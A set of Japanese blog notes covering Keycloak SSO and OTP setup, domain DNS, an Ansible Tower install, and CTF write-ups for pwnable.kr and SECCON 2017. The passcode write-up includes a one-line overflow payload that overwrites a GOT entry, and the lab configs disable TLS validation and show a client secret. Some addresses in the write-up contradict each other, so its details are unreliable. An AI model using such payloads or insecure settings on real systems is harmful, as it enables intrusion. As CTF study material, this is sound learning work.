KeycloakでOpenID Connectを使ってSSOしたときのメモ(認可コードフロー)
はじめに
Keycloak で OpenID Connect を使って SSO をしてみたときのメモです。
今回の内容は以下の記事を参考に実際にやってみた際の手順になります。
ですので、詳しい内容は以下の記事をみていただけたらと思います。
qiita.com
前提条件
Keycloak に関しては、以下の記事で構築済みとします。(http://localhost:8080 で起動済みであることを前提とします)
http://kent056-n.hatenablog.com/entry/2018/06/11/235544kent056-n.hatenablog.com
また、認可コードフローに関しては先ほど紹介した記事の「というか、認可コードフローってなんだっけ?」に記載してありますので、割愛します。
環境
Relying Party の環境
項目 | 値 |
---|---|
OS | CentOS 7.2 |
URL | http://192.168.33.11 |
クライアントID(client_id) | apache24 |
リダイレクトURI | http://192.168.33.11/private/callback |
OpenID Provider(Keycloak の環境)
項目 | 値 |
---|---|
OS | CentOS 7.2 |
URL | http://192.168.33.10:8080 |
エンドポイント | http://192.168.33.10:8080/auth/realms/master/.well-known/openid-configuration |
Relying Party(RP)構築
Relying Party に関しては、「Relying Party (RP) を作る」を参考にmod_auth_openidc
を使って進めていきます。
環境の用意
VirtualBox と Vagrant を利用して Relying Party のサーバーを用意していきます。
$ mkdir relying_party $ cd relying_party $ vagrant init bento/centos-7.2
次に、ip アドレスと ssh のポート番号が重複しないように Vagrantfile を編集し、以下の二行を追記します。
config.vm.network "private_network", ip: "192.168.33.11" config.vm.network "forwarded_port", guest: 22, host: 22222, id: "ssh"
編集できたら保存し、サーバーの起動及びログインをします。
$ vagrat up $ vagrant ssh
ログインできたら、必要なものをインストールしていきます。vim は任意です。
# sudo -s # yum install vim # yum install mod_auth_openidc
Keycloak 設定
Keycloak 管理コンソールに管理者でログインしておきます。 このとき、realm が Master になっていることを確認してください。(realm が Master である必要はないですが、realm によって設定が変わる箇所があるので一応...)
クライアントの設定
[Clients] > [Create]
からクライアントの設定をしていきます。
Client ID は Relying Party の設定で書いた apache24、Client Protocol はopenid-connectを選択して Save を押します。 また、Access Type を public から confidential 、Consent Required を ON 、Valid Redirect URIs にhttp://192.168.33.11/private/callback
をそれぞれ設定して Save を押します。
上記の操作をした場合、以下のような設定になってるかと思います。
次に、Clients の Credentials タブを選択し、Client Authenticator が Client and Secret であることを確認し、Secret をメモしておきます。(Secret は後で使います)
ユーザーの追加
SSO するユーザーを追加しておきます。
[Users] > [Add user]
から追加していきます。今回は Username を u111 、Firest Name を u111 、Last Name を test として登録しておきました。
登録できたら、[Credentials]
タブの Manage Password からパスワードを設定しておきます。
Relying Party 設定
mod_auth_openidc の設定
「mod_auth_openidc(Apache)を設定する」を参考に httpd.conf を編集して Relying Party の設置をおこなっていきます。
# vim /etc/httpd/conf/httpd.conf
今回は httpd.conf に以下の内容を追記しました。
IDCPreservePost ディレクティブに関してはエラーが出ていたので、コメントアウトしました(ちゃんと調べよう...)
個人的に感じた注意点としては以下の二点ですかね。
・OIDCProviderMetadataURL ディレクティブに設定する URL が realm によって変わる
http://192.168.33.10:8080/auth/realms/【realm 名】/.well-known/openid-configuration
・OIDCClientSecret に先ほどメモしておいた Secret を入れる
LoadModule auth_openidc_module modules/mod_auth_openidc.so OIDCProviderMetadataURL http://192.168.33.10:8080/auth/realms/master/.well-known/openid-configuration OIDCClientID apache24 OIDCClientSecret c45d6804-40d6-4b46-8d62-6f6b36bba7d6 OIDCResponseType code OIDCScope "openid" OIDCSSLValidateServer Off OIDCProviderTokenEndpointAuth client_secret_basic OIDCRedirectURI http://192.168.33.11/private/callback OIDCCryptoPassphrase passphrase #OIDCPreservePost On <Location /private> AuthType openid-connect Require valid-user </Location> <Location /public> OIDCUnAuthAction pass AuthType openid-connect Require valid-user </Location>
コンテンツの追加
ドキュメントルート以下にコンテンツをおいておきましょう。今回は /var/www/html/private/
以下に 以下のような html ファイルを index.html としておいておきます。
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>SSO の確認</title> </head> <body> <h1> success!!</h1> </body> </html>
確認
http://192.168.33.11/private/index.html
にアクセスします。
以下のように Keycloak のログイン画面へ遷移するので、Username と Password をそれぞれ入力します。
すると、以下のようなに同意を求められるので同意します。
最終的に以下のような画面が表示されたら成功です。
おわりに
色々設定できそうなのでやっていきたい。
参考資料
KeycloakでOTP認証を試してみたときのメモ
はじめに
以下の記事を参考に Keycloak で二要素認証をしてみた。
そのときのメモ。結論から言うと、めちゃめちゃ簡単にできた。
準備
Keycloak のデプロイは以下の記事を参考にすでにできているものとします。あとは、「FreeOTP」がインストールされた IPhone を用意します。(今回は試していないのですが Google Authenticator でもできるようですね) http://kent056-n.hatenablog.com/entry/2018/06/11/235544kent056-n.hatenablog.com
やったこと
上記で紹介した qiita に書かれている記事通りの手順で問題なくできた。
Keycloak 管理設定
まず、Keycloak管理設定を確認してみるを参考に、Keycloak管理コンソールにアクセスして設定していきます。
前回の記事通りの設定であれば、http://192.168.33.10:8080/auth/admin/master/console/
にアクセスして、[Configure] > [Authentication]
で認証フローの設定画面にたどり着けます。
記事にも記載されていますが、こちらの認証フロー設定画面で、各認証タイプに対して、「ALTERNATIVE」、「REQUIRED」、「OPTIONAL」、「DISABLED」が設定できます。
利用したい認証タイプの必要条件を変更することで多要素認証が実現できるようですね。今回は以下のような設定にしておきました。
OTPポリシー設定
先ほどの Authentication のページの OTP Policy タブをクリックすることで OTP のポリシーが設定できます。
設定できる項目としては、「OTP Type」、「OTP Hash Algorithm」、「Number Digits」、「Look Ahead Window」、「OTP Token Period」、「Supported Application」があります。それぞれの設定できる値と?
マークに記載されている説明をまとめてみました。
項目 | 説明 | 設定値 |
---|---|---|
OTP Type | totp is Time-Based One Time Password. 'hotp' is counter base one time password in which the server keeps a counter to hash against | TimeBased・Councer Based |
OTP Hash Algorithm | What hashing algorithm should be used to generate the OTP. | SHA1・SHA256・SHA512 |
Number of Digits | How many digits should the OTP have? | 6・8 |
Look Ahead Window | How far ahead should the server look just in case the token generator and server are out of time sync or counter sync? | 任意の値?(デフォルトは 1) |
OTP Token Period | How many seconds should an OTP token be valid? Defaults to 30 seconds. | 任意の値?(デフォルト 30) |
Supported Applications | Applications that are known to work with the current OTP policy | FreeOTP, Google Authenticator |
OTP Hash Algorithm といったものだけでなく、TOTP、HOTP といった OTP Type まで UI から選べるのは良いですね。(Supported Applications の追加はできないのかどうか気になる...)
今回は「OTPポリシー」タブと同様に、以下のデフォルト値のまま進めていきました。(また別の記事か何かでいろいろと挙動を確認したい...)
ユーザ設定
以下の Admin console から、右上の [Admin] > [Managed account] > [Authenticator]
の順でユーザの OTP 設定をおこなう。
ユーザ設定をしてみるを参考に、FreeOTPの設定をしてく。
以下のような画面が表示されたらおそらく設定がうまくできているかと思います。(全く同様の手順で設定できました)
確認
ここまでできたら、最後に確認をします。
こちらも、認証の確認をしてみると同様の手順でパスワード > OTP
の順で入力することで確認できました。
おわりに
かなり簡単にできました。
Freenomで取得した無料ドメインをDigitalOceanに設定する方法
Freenomでドメインの取得
Freenomでドメインを取得する方法については以下のページに詳しく書いてあります。こちらを参考にしてドメインの取得を行なってください。
無料でドメインを取得!Freenomでのドメイン取得方法!&ドメインをさくらインターネットのVPSに設定する方法 – ちんぷいどっとねっと
Freenom での設定
ドメインが取得できたら、必要なDNSの設定を行なっていきます。
トップページから、[Services] → [MyDomains] と選択し、MyDomainsのページへ移動します。
移動したのち、先ほど取得したドメインが表示されていると思うので、[Management Domain] を選択します。
すると、"Managing 【ドメイン名】"と書かれたページに移動しているかと思います。ここで[Management Tools] → [NameServers] を選択してください。
以下のような画面が表示されたら、DigitalOceanのNameserverを入力してください。
DigitalOceanでの設定
トップページの [Networking] タグから [Domains] を選択し、Add a domain で先ほど作成したドメインを追加してください。 必要に応じて、ドメイン名を選択して、各種レコードの設定をおこなてください。(自分が試した際はデフォルト設定のままで問題なかったはずです)
VagrantとVirtualBoxでAnsible Towerをインストールしてみた
事前にVagrantとVirtualboxをインストールしておく。
以下のコマンドを実行し、CentOS7系のboxを入手する。
$ mkdir tower $ cd tower $ vagrant init bento/centos-7.2 $ vagrant up
Ansible TowerはRAMが2GB以上でないと動かないのでVagrantfileに以下の内容を追記する。
$ vim Vagrantfile config.vm.provider "virtualbox" do |vb| vb.memory = "2048" end
また、以下の行のコメントアウトを外して、IPアドレスの設定も行なっておきます。
config.vm.network "private_network", ip: "192.168.33.10"
ここまでできたら、AnsibleとAnsibleTowerをそれぞれインストールする。
Ansible Towerのインストールに関しては以下のページに詳細に書いてあったので、参考にさせてもらいました。
まず、Ansibleをインストール時、EPEL リポジトリを使用するため以下を実行して有効化します。
$ sudo yum install http://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
Ansible Tower インストール時に以下のリポジトリが必須のため、yum-config-managerで有効化します。
$ sudo yum -y install yum-utils (yum-config-managerが入っていない場合のみ) $ sudo yum-config-manager --enable rhui-REGION-rhel-server-extras
パッケージを最新の状態にする。
$ sudo yum update
Ansibleをインストールする。
$ sudo yum install ansible wget
Ansible Tower をインストール及び解凍する。
$ wget http://releases.ansible.com/ansible-tower/setup/ansible-tower-setup-latest.tar.gz $ tar xvzf ansible-tower-setup-latest $ cd ansible-tower-setup-【バージョン】
Inventoryファイルを編集し、パスワードを設定する。
$ vi inventory admin_password='【パスワード】' pg_password='【パスワード】' rabbitmq_password='【パスワード】'
$ sudo ./setup.sh
セットアップが成功したら、実際にプレイブックを実行してみます。
プレイブックの実行に関しては以下のスライドを参考にさせてもらいました。
Ansible tower 構築方法と使い方
以下のコマンドでIPアドレスを確認してブラウザでアクセスします。ユーザー名はadmin、パスワードは先ほどInventoryファイルに記載したものでログインすることができます。
$ ip a
ブラウザでアクセスするとライセンスを要求されるので画面の指示にしたがって必要事項を記入していきます。
[プロジェクト]タブをクリックすると、Demo Projectというプロジェクトがデフォルトで用意されていることがわかります。
このプロジェクトはHello Worldを表示するだけのものであり、以下からPlay Bookの取得を行なっています。 (ジョブ実行後に/var/lib/awx/projects
以下に配置されています。)
GitHub - ansible/ansible-tower-samples: Ansible Tower Playbook Samples
実際に[テンプレート]タブをクリックし、ロケットマークのジョブ実行アイコンをクリックします。
正しくJobが成功すると、Hello World! が表示されます。
pwnable.krのメモ【passcode】
以下、問題文。
Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that? ssh passcode@pwnable.kr -p2222 (pw:guest)
まず sshで接続すると、passcode、passcode.c、flag の3つのファイルがある。 とりあえず実行
$ ./passcode Toddler's Secure Login System 1.0 beta. enter you name : hoge Welcome hoge ! enter passcode1 : 338150 Segmentation fault
Segmentation fault が起きる(338150を入力したのはpasscode.cに以下の条件式があったから)。
if(passcode1==338150 && passcode2==13371337){
問題の箇所は以下のコードっぽい。本来scanf関数の第2引数はアドレスを渡さなければならないのに変数がそのまま入ってしまっている。
scanf("%d", passcode1);
ここからはgdbでみて行く。
gdb-peda$ disas welcome
上記のコマンドを実行すると、lea edx, [ebp-0x70]
と書いてあることから、変数 name は[ebp-0x70] にあるだろうと推測できる。
gdb-peda$ disas login
また、上記のコマンドを実行すると、mov edx, [ebp-0x10]
と書いてあることから、変数passcode1は[ebp-0x10]にあるだろうと推測することができる。
0x70-0x10 = 96 なので、nameに格納できる100byteのうち、残りの4byteでpasscode1を上書きできることがわかる。
gdb-peda$ disas fflush
上記のコマンドの結果より<fflush@plt>
がcallされた時に0x804a004
にジャンプしていることがわかる.
fflush関数のGOTアドレス0x80a004
をflagを表示しているアドレスに書き換えることで、fflush関数が呼ばれた時にflagを表示するようにする。
flagを表示している箇所のアドレスは0x80487af
だと推測できるので、あとは以下のコマンドで書き換える。
python -c "print 96*'A'+'\x04\xa0\x04\x08'+'134514147'" | ./passcode
SECCON2017 writeup
今回はぼっち参加だった。
とりあえず興味のあるCryptoを解いて行こうというお気持ちでスタートした。
解いたのはVigenere3dとSHA-1 is deadとPs and Qsの3問のみ。
Vigenere3d
プログラムの以下の箇所より、暗号文は平文の文字と鍵kのi番目と鍵kのlen(k)-i番目の文字によって決まることがわかる。
c += t[s.find(a)][s.find(k1[i1])][s.find(k2[i2])]
鍵kの長さが14で、わかっている平文がSECCON{
の7文字あるので、ヴィジュネル方陣を固定してしまえば鍵がわかる。
(鍵kはi番目のの文字とlen(k)-i番目の文字の差が一定であればなんでもよい)
$ python Vigenere3d.py SECCON{AAAAAAAAAAAAAAAAAAAAAAAAAA} AAAAAAA_aZ2PK_ POR4dny_aZ2PK__KP2Za__aZ2PK__KP2Z9
この状態でPOR4dny_aZ2PK__KP2Za__aZ2PK__KP2Z9 → POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9
になるような残りの平文を探して行く。
s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}" c1 = "TLHBfwbxAAZhe}}ocZR3Cxcftw" c2 = "_aZ2PK__KP2Za__aZ2PK__KP2Z" flag = "" for i in range(len(c1)): num = s.find(c1[i]) - s.find(c2[i]) if num < 0 : num = len(s) + num flag += s[num] print flag
FLAGはWelc0me_to_SECCON_CTF_2017
おわり
SHA-1 is dead
以下より、SHA-1が衝突した2つのpdfを取ってくる。しかし、このままではファイルサイズが条件に合わない。
https://shattered.io/
どうやら、先頭320バイトの部分で衝突が起きていてそれ以降が同じ値ならずっと衝突し続けるらしい。
巷で話題のGoogleのSHA-1衝突やってみた | 73spica's Blog
ddコマンドでそれっぽいサイズのファイルを作って、Googleのpdfをバイナリエディタでコピペして終わり。
FLAGはSECCON{SHA-1_1995-2017?}
Ps and Qs
公開鍵が二つと暗号文が一つが渡される。
この時点で、「二つのnが共通の因数を持っているときは簡単に素因数分解できるよね!」問題であるとわかる。
http://www2.nict.go.jp/csri/plan/H26-symposium/files/3-2.pdf
以下のコマンドで公開鍵の中身を表示。
openssl rsa -text -noout -pubin -in pub1.pub
適当に:
を取り除いて、intに直して復号する。
from Crypto.PublicKey import RSA from Crypto.Util.number import inverse import binascii def gcd(x, y): r = modlog(x, y) while r != 0: x = y y = r r = modlog(x, y) return y def modlog(x, y): r = x % y return r def main(): u1 = 847796795638781450678718708664542960446354226336422534142899480441478781747168340722544245493739168125415291376063352480076469305992008517388366298914970810765149321160596112226917023146371080685458239747986992197343482255681414590678694753885521068656675164266739274608505094927725285868801825144058835115051061857233824816176186349372737400492228548130718029270482313906040935333159681273527671359469173939861889228505791626525994180917670701909816457560622922219797109618405842358250940062127841301193206255543580550667149741357342408703680375118252445296600962244008043713708516004025217199954286478272550961283413053789743740774140439284662596273452124779590753836094450154459078034659421366584354005421566290862244000178569163732971816333961711759000171156293724203334889496589376907683142167883476184246287660764821622298961378903818077158234683927321823293466245584486980446609569799420950073036635602004293246754252079757527610246223280774592566063422181158810677919909523144033543195999214800559998598003329294711989868113423468536273984117507008756542731210465222475943122324672467669623079721727526348599823126409108190030551584092950358235465140166515452377475799157617227362838246912839086733412861436353117994501342653 u2 = 763718912475160487902804749669814117361530270298225094625871588939939773892509348006077810445741086683427253000695920011673348476297973798322806091336777405584801442639626925406721932533140226556519019440300864340670199686368307155860493615065198319490060598587202051942638792919648596288576294804549738135969737494734307362891313864027749187674251692407867312885251279302785352318725391842117065840058358065676707016006124478822206302825992616559261930620693061673348139416033418864269248381876692676529410115745518353146254670349865568255213560376368953292931958006941630719304442332912813624543600126197554727832190226632919876204677667384620275620336951964833888599634720101911051166398907898747710391394105753614253527704990658698844796442515669670816004761855554187277637871343595647487793209271354240148469085627742503649786300484610102224828274384484809539697728008552925590472129497180290668277790132130824141651399551803499770513576176720509094833332201946177880267399933460994496277590932311628302240154240967341858152145815276163397709272690500041597393678630136932574450837982593210399370333578887450410911663220219423601973078501237709613593311133945501455828164291429228495931943107997137587307522565029820756690578833 q = gcd(u1, u2) p1 = u1 / q p2 = u2 / q p = p1 e = 65537 n = p*q d = inverse(e, (p-1)*(q-1)) c = 658063702174492170630737837355589886583067761650983363941909994400817849856699417146067253546506602278075708984235030629800257348531833245813500290774620305460892522597019439353562154791548732158611776887029731801160549012269973218438385289683478390258807883040582486877315287316434659387503441900781236184660059984452592862372092943601918214678188098699869456828712213889111037574260127805370442774040527872243053566674392335408758655125255348375903482668216482987543268073626349429427137502888363903952006288982053867518114220684218204451432796538994848617443448310129521661643038060029344993848959815504667821131473020187375309009206832679656996752407442812626820517856712301473172939393077581041096102765300236211230880310865997117134702580037421149475552478616188956436553987824362086889555205262619209905351934963104086266912820024692280089431479663058370757076811911498591955722977726204374289841309901648701195859400837279037103456926577158547907968290437097309522419677174364683467262506453282619330543399466280395015485412557434129628605096528473160112582078299169455676557687825433899041475427962227421628101522052945742591131895830805488509689551017396730038834596064101206291844830276746407286995621109990490886816777237 key = RSA.construct(map(long, (n,e,d))) # print binascii.unhexlify(hex(key.decrypt(c))[2:]).decode() print hex(key.decrypt(c))[2:] if __name__=="__main__": main()
binascii.unhexlify(hex(key.decrypt(c))[2:]).decode()
でいい感じにFLAGが表示されなかったので、hex(key.decrypt(c))[2:]
で表示をみてみると、それっぽいものを見つけた。
534543434f4e7b313233343536373839304142434445467d
この部分だけ何が書いてあるのかみてみると、
>>> import binascii >>> binascii.unhexlify("534543434f4e7b313233343536373839304142434445467d") b'SECCON{1234567890ABCDEF}'
FLAGはSECCON{1234567890ABCDEF}
おわりに
文章力の無さは許してくだい。
サイコロ出たい...
pwnable.kr のメモ【flag】
http://pwnable.kr の flag を解いたのでメモ
以下、問題文。とりあえずダウンロードしてみた。
Papa brought me a packed present! let's open it. Download : http://pwnable.kr/bin/flag This is reversing task. all you need is binary
ダウンロードしたファイルの種類を確認して、実行権限を与えて実行。
$ file flag flag: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped $ ls -l $ chmod +x flag $./flag I will malloc() and strcpy the flag there. take it.
なんかメッセージがでた。試しに gdb で実行を確認してみようとするがうまくいかなかったので strings
コマンドで実行ファイルの中身をみたら以下のような文を発見した。どうやら UPX というソフトウェアで圧縮されているらしいので解凍する必要があるっぽい。
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
解凍すると無事、gdb で実行を確認することができるようになった。
gdb-peda$ disas main
main のアセンブリコードを確認すると、以下のような行を発見。
0x0000000000401184 <+32>: mov rdx,QWORD PTR [rip+0x2c0ee5] # 0x6c2070 <flag>
上記のアドレスにブレークポイントを指定して再び実行して rdx の中身を確認して終わり。
gdb-peda$ b *main+32 gdb-peda$ run gdb-peda$ ni gdb-peda$ x/s $rdx